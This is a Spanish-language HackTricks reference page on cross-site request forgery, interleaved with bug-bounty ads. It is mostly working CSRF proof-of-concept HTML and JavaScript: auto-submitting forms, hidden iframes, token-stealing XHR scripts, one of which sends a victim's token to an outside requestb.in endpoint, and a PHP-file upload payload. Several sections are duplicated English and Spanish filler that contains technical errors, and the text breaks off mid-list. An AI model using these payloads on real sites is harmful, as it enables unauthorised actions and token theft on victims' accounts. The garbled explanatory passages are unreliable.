50 KiB
CSRF (Cross Site Request Forgery)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
¿Qué es CSRF?
Cross-site request forgery (también conocido como CSRF) es una vulnerabilidad de seguridad web que permite a un atacante inducir a los usuarios a realizar acciones que no desean realizar.
Esto se logra haciendo que un usuario con sesión iniciada en la plataforma víctima acceda a un sitio web controlado por el atacante y desde allí ejecute código JS malicioso, envíe formularios o recupere "imágenes" en la cuenta de la víctima.
Requisitos
Para poder aprovechar una vulnerabilidad de CSRF, primero debes encontrar una acción relevante para abusar (cambiar la contraseña o el correo electrónico, hacer que la víctima te siga en una red social, darte más privilegios...). La sesión debe depender solo de cookies o del encabezado de autenticación básica HTTP, no se puede usar ningún otro encabezado para manejar la sesión. Y finalmente, no debe haber parámetros impredecibles en la solicitud.
Se pueden implementar varias contramedidas para evitar esta vulnerabilidad.
Defensas comunes
- Cookies SameSite: Si la cookie de sesión utiliza esta bandera, es posible que no puedas enviar la cookie desde sitios web arbitrarios.
- Compartición de recursos entre orígenes: Dependiendo del tipo de solicitud HTTP que necesites realizar para abusar de la acción relevante, debes tener en cuenta la política CORS del sitio víctima. Ten en cuenta que la política CORS no afectará si solo quieres enviar una solicitud GET o una solicitud POST desde un formulario y no necesitas leer la respuesta.
- Solicitar la contraseña del usuario para autorizar la acción.
- Resolver un captcha.
- Leer los encabezados Referrer u Origin. Si se utiliza una expresión regular, se puede eludir, por ejemplo, con:
- http://mal.net?orig=http://example.com (termina con la URL)
- http://example.com.mal.net (comienza con la URL)
- Modificar el nombre de los parámetros de la solicitud POST o GET.
- Usar un token CSRF en cada sesión. Este token debe enviarse dentro de la solicitud para confirmar la acción. Este token puede estar protegido con CORS.
Mapa de CSRF
Bypass de defensas
De POST a GET
Tal vez el formulario que deseas aprovechar está preparado para enviar una solicitud POST con un token CSRF, pero debes verificar si también es válido enviar una solicitud GET y si al enviar una solicitud GET el token CSRF sigue siendo validado.
Falta de token
Algunas aplicaciones validan correctamente el token cuando está presente pero omiten la validación si el token se omite.
En esta situación, el atacante puede eliminar el parámetro completo que contiene el token (no solo su valor) para eludir la validación y realizar un ataque CSRF.
El token CSRF no está vinculado a la sesión del usuario
Algunas aplicaciones no validan que el token pertenezca a la misma sesión que el usuario que realiza la solicitud. En cambio, la aplicación mantiene un conjunto global de tokens que ha emitido y acepta cualquier token que aparezca en este conjunto.
En esta situación, el atacante puede iniciar sesión en la aplicación utilizando su propia cuenta, obtener un token válido y luego proporcionar ese token al usuario víctima en su ataque CSRF.
Bypass de método
Si la solicitud utiliza un método "extraño", verifica si la funcionalidad de anulación de método está funcionando.
Por ejemplo, si se está utilizando un método PUT, puedes intentar usar un método POST y enviar: https://example.com/my/dear/api/val/num?_method=PUT
Esto también puede funcionar enviando el parámetro _method dentro de una solicitud POST o utilizando los encabezados:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Bypass personalizado de token de encabezado
Si la solicitud está agregando un encabezado personalizado con un token a la solicitud como método de protección contra CSRF, entonces:
- Prueba la solicitud sin el Token personalizado y también el encabezado.
- Prueba la solicitud con un token diferente pero de la misma longitud.
El token CSRF se verifica mediante una cookie
En una variación adicional de la vulnerabilidad anterior, algunas aplicaciones duplican cada token dentro de una cookie y un parámetro de solicitud. O configuran una cookie CSRF y verifican en el backend si el token CSRF enviado es el relacionado con la cookie.
Cuando se valida la solicitud posterior, la aplicación simplemente verifica que el token enviado en el parámetro de solicitud coincida con el valor almacenado por la cookie.
En esta situación, el atacante puede nuevamente realizar un ataque CSRF si el sitio web contiene alguna vulnerabilidad que le permita configurar su cookie CSRF en la víctima como un CRLF.
En este caso, puedes configurar la cookie intentando cargar una imagen falsa y luego lanzar el ataque CSRF como en este ejemplo:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} Ten en cuenta que si el token csrf está relacionado con la cookie de sesión, este ataque no funcionará porque necesitarás establecerle a la víctima tu sesión, y por lo tanto estarás atacándote a ti mismo. {% endhint %}
Cambio de Content-Type
Según esto, para evitar las solicitudes de preflight utilizando el método POST, estos son los valores permitidos para Content-Type:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Sin embargo, ten en cuenta que la lógica del servidor puede variar dependiendo del Content-Type utilizado, por lo que debes probar los valores mencionados y otros como application/json
,text/xml
, application/xml
.
Ejemplo (de aquí) de envío de datos JSON como text/plain:
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
Bypass de solicitud de preflight de tipo de contenido application/json
Como ya sabes, no puedes enviar una solicitud POST con el tipo de contenido application/json
a través de un formulario HTML, y si intentas hacerlo a través de XMLHttpRequest
, primero se envía una solicitud de preflight.
Sin embargo, podrías intentar enviar los datos JSON utilizando los tipos de contenido text/plain
y application/x-www-form-urlencoded
solo para comprobar si el backend está utilizando los datos independientemente del tipo de contenido.
Puedes enviar un formulario utilizando Content-Type: text/plain
estableciendo enctype="text/plain"
Si el servidor solo acepta el tipo de contenido "application/json", puedes enviar el tipo de contenido "text/plain; application/json" sin activar una solicitud de preflight.
También podrías intentar burlar esta restricción utilizando un archivo flash SWF. Para obtener más información, lee este artículo.
Bypass de verificación de Referer / Origin
Evita el encabezado Referer
Algunas aplicaciones validan el encabezado Referer cuando está presente en las solicitudes, pero omitirán la validación si el encabezado se omite.
<meta name="referrer" content="never">
Bypasses de Regexp
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Para establecer el nombre de dominio del servidor en la URL que el Referrer va a enviar dentro de los parámetros, puedes hacer lo siguiente:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
Ejemplos de explotación
Exfiltrando el token CSRF
Si se está utilizando un token CSRF como defensa, puedes intentar exfiltrarlo abusando de una vulnerabilidad de XSS o una vulnerabilidad de Dangling Markup.
GET utilizando etiquetas HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Otras etiquetas HTML5 que se pueden utilizar para enviar automáticamente una solicitud GET son:
Solicitud GET de formulario
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Solicitud de envío de formulario
A common method used to submit data to a web server is through a form POST request. This type of request is typically used when submitting sensitive information, such as login credentials or payment details.
Un método común utilizado para enviar datos a un servidor web es a través de una solicitud de envío de formulario (form POST request). Este tipo de solicitud se utiliza generalmente al enviar información sensible, como credenciales de inicio de sesión o detalles de pago.
To make a form POST request, the client sends an HTTP POST request to the server with the form data included in the request body. The server then processes the data and responds accordingly.
Para realizar una solicitud de envío de formulario, el cliente envía una solicitud HTTP POST al servidor con los datos del formulario incluidos en el cuerpo de la solicitud. Luego, el servidor procesa los datos y responde en consecuencia.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into submitting a malicious request. This attack occurs when a malicious website or email tricks the victim's browser into making a request to a target website on which the victim is authenticated.
Cross-Site Request Forgery (CSRF) es un ataque que engaña a la víctima para que envíe una solicitud maliciosa. Este ataque ocurre cuando un sitio web o correo electrónico malicioso engaña al navegador de la víctima para que realice una solicitud a un sitio web objetivo en el que la víctima está autenticada.
The attack takes advantage of the fact that many websites rely solely on session cookies for authentication, without additional security measures. By tricking the victim's browser into making a request, the attacker can perform actions on behalf of the victim without their knowledge or consent.
El ataque aprovecha el hecho de que muchos sitios web se basan únicamente en cookies de sesión para la autenticación, sin medidas de seguridad adicionales. Al engañar al navegador de la víctima para que realice una solicitud, el atacante puede realizar acciones en nombre de la víctima sin su conocimiento o consentimiento.
Preventing CSRF Attacks
To prevent CSRF attacks, web applications can implement measures such as:
-
CSRF tokens: Generating and validating unique tokens for each user session. These tokens are included in the form and verified on the server-side to ensure that the request is legitimate.
-
SameSite cookies: Setting the SameSite attribute on cookies to restrict their usage to same-site requests, preventing them from being sent in cross-site requests.
-
Referer header validation: Checking the Referer header on the server-side to ensure that requests originate from the same domain.
Prevención de ataques CSRF
Para prevenir ataques CSRF, las aplicaciones web pueden implementar medidas como:
-
Tokens CSRF: Generar y validar tokens únicos para cada sesión de usuario. Estos tokens se incluyen en el formulario y se verifican en el lado del servidor para asegurarse de que la solicitud sea legítima.
-
Cookies SameSite: Establecer el atributo SameSite en las cookies para restringir su uso a solicitudes del mismo sitio, evitando que se envíen en solicitudes entre sitios.
-
Validación del encabezado Referer: Verificar el encabezado Referer en el lado del servidor para asegurarse de que las solicitudes se originen desde el mismo dominio.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
Solicitud de envío de formulario a través de un iframe
One common technique used in Cross-Site Request Forgery (CSRF) attacks is to submit a form through an iframe. This technique allows an attacker to trick a user into unknowingly submitting a form on a targeted website.
To execute this attack, the attacker creates a malicious webpage that contains an iframe pointing to the target website's form submission URL. The attacker then lures the victim into visiting the malicious webpage.
When the victim visits the malicious webpage, the iframe automatically submits the form on the target website, using the victim's authenticated session. Since the victim is already logged in to the target website, the form submission appears legitimate to the server.
This technique can be particularly effective when combined with social engineering tactics, such as sending the victim a link to the malicious webpage via email or a messaging platform.
To protect against this type of attack, web developers should implement measures such as:
- Implementing anti-CSRF tokens: By including a unique token in each form submission, developers can ensure that the form is only submitted from their own website and not from a malicious source.
- Implementing SameSite cookies: By setting the SameSite attribute to "Strict" or "Lax" for cookies, developers can prevent them from being sent in cross-origin requests, thereby mitigating the risk of CSRF attacks.
- Implementing strong authentication and session management: By enforcing strong authentication mechanisms and properly managing user sessions, developers can reduce the risk of unauthorized form submissions.
By understanding and implementing these security measures, web developers can effectively protect their websites against CSRF attacks executed through iframes.
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Solicitud POST de Ajax
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
Solicitud POST multipart/form-data
When submitting a form on a website, the data is typically sent using the application/x-www-form-urlencoded
content type. However, in some cases, the form may require the use of the multipart/form-data
content type.
Cuando se envía un formulario en un sitio web, los datos se suelen enviar utilizando el tipo de contenido application/x-www-form-urlencoded
. Sin embargo, en algunos casos, el formulario puede requerir el uso del tipo de contenido multipart/form-data
.
This content type is commonly used when uploading files or when the form includes binary data. It allows the data to be divided into multiple parts, each with its own content type and headers.
Este tipo de contenido se utiliza comúnmente cuando se cargan archivos o cuando el formulario incluye datos binarios. Permite que los datos se dividan en varias partes, cada una con su propio tipo de contenido y encabezados.
To send a multipart/form-data
POST request, the request body must be formatted accordingly. Each part of the data should be separated by a boundary, which is a unique string that does not appear in the data itself.
Para enviar una solicitud POST multipart/form-data
, el cuerpo de la solicitud debe estar formateado correctamente. Cada parte de los datos debe estar separada por un límite, que es una cadena única que no aparece en los propios datos.
Each part consists of a set of headers and the actual data. The headers specify the content type, content disposition, and other relevant information.
Cada parte consta de un conjunto de encabezados y los datos reales. Los encabezados especifican el tipo de contenido, la disposición del contenido y otra información relevante.
Here is an example of a multipart/form-data
POST request:
Aquí tienes un ejemplo de una solicitud POST multipart/form-data
:
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890
-----------------------------1234567890
Content-Disposition: form-data; name="file"; filename="example.txt"
Content-Type: text/plain
This is the content of the file.
-----------------------------1234567890
Content-Disposition: form-data; name="name"
John Doe
-----------------------------1234567890--
In this example, the request is being sent to example.com/upload
. The request body consists of two parts: one for the file being uploaded and another for the name field.
En este ejemplo, la solicitud se envía a example.com/upload
. El cuerpo de la solicitud consta de dos partes: una para el archivo que se está cargando y otra para el campo de nombre.
The boundary used in this example is ---------------------------1234567890
. Each part is separated by this boundary, and the boundary is also used to indicate the end of the request body.
El límite utilizado en este ejemplo es ---------------------------1234567890
. Cada parte está separada por este límite, y el límite también se utiliza para indicar el final del cuerpo de la solicitud.
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
Solicitud POST multipart/form-data v2
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request. This technique is commonly used to exploit web applications that do not implement proper CSRF protection.
En esta técnica, exploraremos cómo realizar un ataque de falsificación de solicitud entre sitios (CSRF) utilizando una solicitud POST multipart/form-data. Esta técnica se utiliza comúnmente para explotar aplicaciones web que no implementan una protección adecuada contra CSRF.
Overview
The multipart/form-data content type is commonly used for file uploads and form submissions that contain binary data. It allows the client to send multiple parts of data in a single request.
El tipo de contenido multipart/form-data se utiliza comúnmente para cargar archivos y enviar formularios que contienen datos binarios. Permite al cliente enviar varias partes de datos en una sola solicitud.
Exploiting CSRF using multipart/form-data
To exploit CSRF using a multipart/form-data POST request, we need to create a form that submits the desired request to the target application. This form should include all the necessary fields and values required by the target application.
Para explotar CSRF utilizando una solicitud POST multipart/form-data, debemos crear un formulario que envíe la solicitud deseada a la aplicación objetivo. Este formulario debe incluir todos los campos y valores necesarios requeridos por la aplicación objetivo.
Once the form is created, we can host it on a website under our control. We can then trick the victim into visiting this website, which will automatically submit the form in the background without their knowledge.
Una vez creado el formulario, podemos alojarlo en un sitio web bajo nuestro control. Luego, podemos engañar a la víctima para que visite este sitio web, lo que enviará automáticamente el formulario en segundo plano sin su conocimiento.
When the victim visits our website, the form will be submitted to the target application using their authenticated session. This allows us to perform actions on behalf of the victim without their consent.
Cuando la víctima visita nuestro sitio web, el formulario se enviará a la aplicación objetivo utilizando su sesión autenticada. Esto nos permite realizar acciones en nombre de la víctima sin su consentimiento.
Conclusion
Exploiting CSRF vulnerabilities using multipart/form-data POST requests can be a powerful technique in a hacker's arsenal. It allows attackers to perform unauthorized actions on behalf of unsuspecting victims. Therefore, it is crucial for web applications to implement proper CSRF protection mechanisms to prevent such attacks.
Explotar vulnerabilidades de CSRF utilizando solicitudes POST multipart/form-data puede ser una técnica poderosa en el arsenal de un hacker. Permite a los atacantes realizar acciones no autorizadas en nombre de víctimas desprevenidas. Por lo tanto, es crucial que las aplicaciones web implementen mecanismos adecuados de protección contra CSRF para prevenir este tipo de ataques.
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
Solicitud POST de formulario desde un iframe
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack by tricking a user into submitting a form without their knowledge or consent.
Cuando se envía un formulario HTML, el navegador envía una solicitud POST a la URL especificada. Este comportamiento puede ser explotado en un ataque de falsificación de solicitud entre sitios (CSRF) al engañar a un usuario para que envíe un formulario sin su conocimiento o consentimiento.
To execute a CSRF attack using an iframe, the attacker can embed a malicious page containing a hidden form within an iframe on a legitimate website. When the user visits the legitimate website, the hidden form is automatically submitted, sending the user's session cookies and any other sensitive information to the attacker's server.
Para ejecutar un ataque CSRF utilizando un iframe, el atacante puede incrustar una página maliciosa que contenga un formulario oculto dentro de un iframe en un sitio web legítimo. Cuando el usuario visita el sitio web legítimo, el formulario oculto se envía automáticamente, enviando las cookies de sesión del usuario y cualquier otra información confidencial al servidor del atacante.
To prevent CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, which are unique tokens embedded in forms to verify the authenticity of the request. Additionally, web browsers have implemented security features like the SameSite attribute for cookies, which can help mitigate CSRF attacks.
Para prevenir ataques CSRF, los desarrolladores web deben implementar medidas como el uso de tokens anti-CSRF, que son tokens únicos incrustados en formularios para verificar la autenticidad de la solicitud. Además, los navegadores web han implementado características de seguridad como el atributo SameSite para cookies, que pueden ayudar a mitigar los ataques CSRF.
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Robar el token CSRF y enviar una solicitud POST
En un ataque de falsificación de solicitud entre sitios (CSRF), el objetivo es engañar al usuario para que realice una acción no deseada en un sitio web en el que ya está autenticado. Para llevar a cabo este ataque, es necesario robar el token CSRF del usuario y luego enviar una solicitud POST utilizando ese token.
Aquí hay un ejemplo de cómo se puede realizar este ataque:
-
Obtener el token CSRF: El token CSRF se encuentra generalmente en una cookie o en una etiqueta oculta en el formulario. Utilizando técnicas de ingeniería social o de inyección de código, se puede obtener este token del usuario.
-
Crear una solicitud POST: Una vez que se ha obtenido el token CSRF, se puede utilizar para crear una solicitud POST falsa. Esta solicitud puede contener cualquier acción no deseada, como cambiar la contraseña del usuario o realizar una compra no autorizada.
-
Enviar la solicitud POST: La solicitud POST falsa se envía al servidor web objetivo. Dado que la solicitud contiene el token CSRF válido, el servidor la considerará legítima y realizará la acción solicitada.
Es importante tener en cuenta que este ataque solo es exitoso si el usuario está autenticado en el sitio web objetivo y si el sitio no implementa medidas de protección adecuadas, como la verificación del origen de las solicitudes.
Para protegerse contra los ataques CSRF, los desarrolladores deben implementar medidas de seguridad, como el uso de tokens CSRF aleatorios y la verificación del origen de las solicitudes. Los usuarios también deben ser conscientes de los posibles riesgos y evitar hacer clic en enlaces sospechosos o abrir archivos adjuntos de fuentes no confiables.
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
Robar el token CSRF y enviar una solicitud POST utilizando un iframe, un formulario y Ajax
El robo de tokens CSRF es una técnica común utilizada en ataques de falsificación de solicitudes entre sitios. Esta técnica aprovecha la confianza que un sitio web tiene en las solicitudes enviadas desde su propio dominio.
Para robar el token CSRF, se puede utilizar un iframe oculto que cargue la página objetivo que contiene el token. Luego, se puede acceder al contenido del iframe y extraer el valor del token.
<iframe id="csrfFrame" src="https://www.sitio-objetivo.com" style="display: none;"></iframe>
<script>
var csrfFrame = document.getElementById('csrfFrame');
var csrfToken = csrfFrame.contentDocument.querySelector('input[name="csrf_token"]').value;
// Aquí se puede enviar el token a un servidor malicioso o realizar otras acciones
</script>
Una vez que se ha robado el token CSRF, se puede utilizar para enviar una solicitud POST falsificada al servidor objetivo. Esto se puede hacer utilizando un formulario oculto que se completa automáticamente con el token robado y se envía mediante JavaScript.
<form id="csrfForm" action="https://www.sitio-objetivo.com" method="POST" style="display: none;">
<input type="hidden" name="csrf_token" value="">
<!-- Otros campos del formulario -->
</form>
<script>
var csrfForm = document.getElementById('csrfForm');
csrfForm.querySelector('input[name="csrf_token"]').value = csrfToken;
csrfForm.submit();
</script>
Otra forma de enviar la solicitud POST falsificada es utilizando Ajax. Se puede crear una solicitud Ajax y establecer el valor del token CSRF en el encabezado de la solicitud.
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://www.sitio-objetivo.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.setRequestHeader('X-CSRF-Token', csrfToken);
// Aquí se pueden agregar otros encabezados y datos de la solicitud
xhr.send();
Estas técnicas permiten a un atacante robar el token CSRF y enviar solicitudes falsificadas en nombre del usuario legítimo. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF con duración limitada y la validación estricta de las solicitudes recibidas.
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
Robar el token CSRF y enviar una solicitud POST utilizando un iframe y un formulario
Una técnica común para llevar a cabo un ataque de falsificación de solicitudes entre sitios (CSRF) es robar el token CSRF de un usuario legítimo y luego utilizarlo para enviar una solicitud POST maliciosa. Esto se puede lograr mediante el uso de un iframe y un formulario.
-
Primero, es necesario obtener el token CSRF del usuario legítimo. Esto se puede hacer mediante ingeniería inversa o mediante la explotación de una vulnerabilidad en la aplicación web.
-
Una vez que se ha obtenido el token CSRF, se puede utilizar un iframe para cargar una página maliciosa en el navegador del usuario. El iframe debe apuntar a la página que contiene el formulario que se utilizará para enviar la solicitud POST.
<iframe src="http://www.paginamaliciosa.com/csrf.html"></iframe>
- En la página maliciosa, se debe incluir un formulario que contenga los parámetros necesarios para realizar la solicitud POST. El formulario debe incluir el token CSRF robado.
<form action="http://www.aplicacionweb.com/solicitudpost" method="POST">
<input type="hidden" name="parametro1" value="valor1">
<input type="hidden" name="parametro2" value="valor2">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_ROBADO">
<input type="submit" value="Enviar">
</form>
- Cuando el usuario carga la página maliciosa, el formulario se enviará automáticamente debido al uso del atributo
action
en el formulario. La solicitud POST se enviará a la aplicación web legítima, utilizando el token CSRF robado.
Es importante tener en cuenta que este tipo de ataque solo es efectivo si el usuario legítimo ha iniciado sesión en la aplicación web y tiene una sesión activa. Además, la aplicación web debe ser vulnerable a ataques CSRF para que esta técnica funcione.
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
Robar token y enviarlo usando 2 iframes
En esta técnica de CSRF, el atacante roba el token de autenticación de la víctima y lo envía a través de dos iframes. El objetivo es engañar al navegador de la víctima para que realice una solicitud no deseada en nombre del usuario autenticado.
El proceso se divide en los siguientes pasos:
-
El atacante crea una página web maliciosa que contiene dos iframes. Uno de los iframes se carga con la página de destino que se desea atacar, mientras que el otro se carga con una página controlada por el atacante.
-
Cuando la víctima visita la página maliciosa, el navegador carga los iframes automáticamente.
-
El iframe controlado por el atacante realiza una solicitud GET a la página de destino, aprovechando el token de autenticación almacenado en las cookies de la víctima.
-
La página de destino recibe la solicitud y la procesa como si fuera legítima, ya que incluye el token de autenticación válido.
-
El atacante puede aprovechar esta solicitud para realizar acciones no autorizadas en nombre de la víctima, como cambiar la contraseña, realizar compras o realizar cualquier otra acción permitida por la página de destino.
Es importante destacar que esta técnica solo funciona si la página de destino no implementa medidas de protección contra CSRF, como tokens de solicitud aleatorios o verificación de origen. Por lo tanto, es fundamental que los desarrolladores implementen estas medidas de seguridad para proteger sus aplicaciones web contra este tipo de ataques.
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTRobar token CSRF con Ajax y enviar un post con un formulario
En esta técnica, aprovechamos una vulnerabilidad de Cross-Site Request Forgery (CSRF) para robar el token CSRF de un usuario y luego enviar una solicitud POST utilizando Ajax y un formulario.
-
Primero, necesitamos obtener el token CSRF del usuario. Esto se puede hacer mediante ingeniería social o mediante la explotación de una vulnerabilidad en el sitio web objetivo.
-
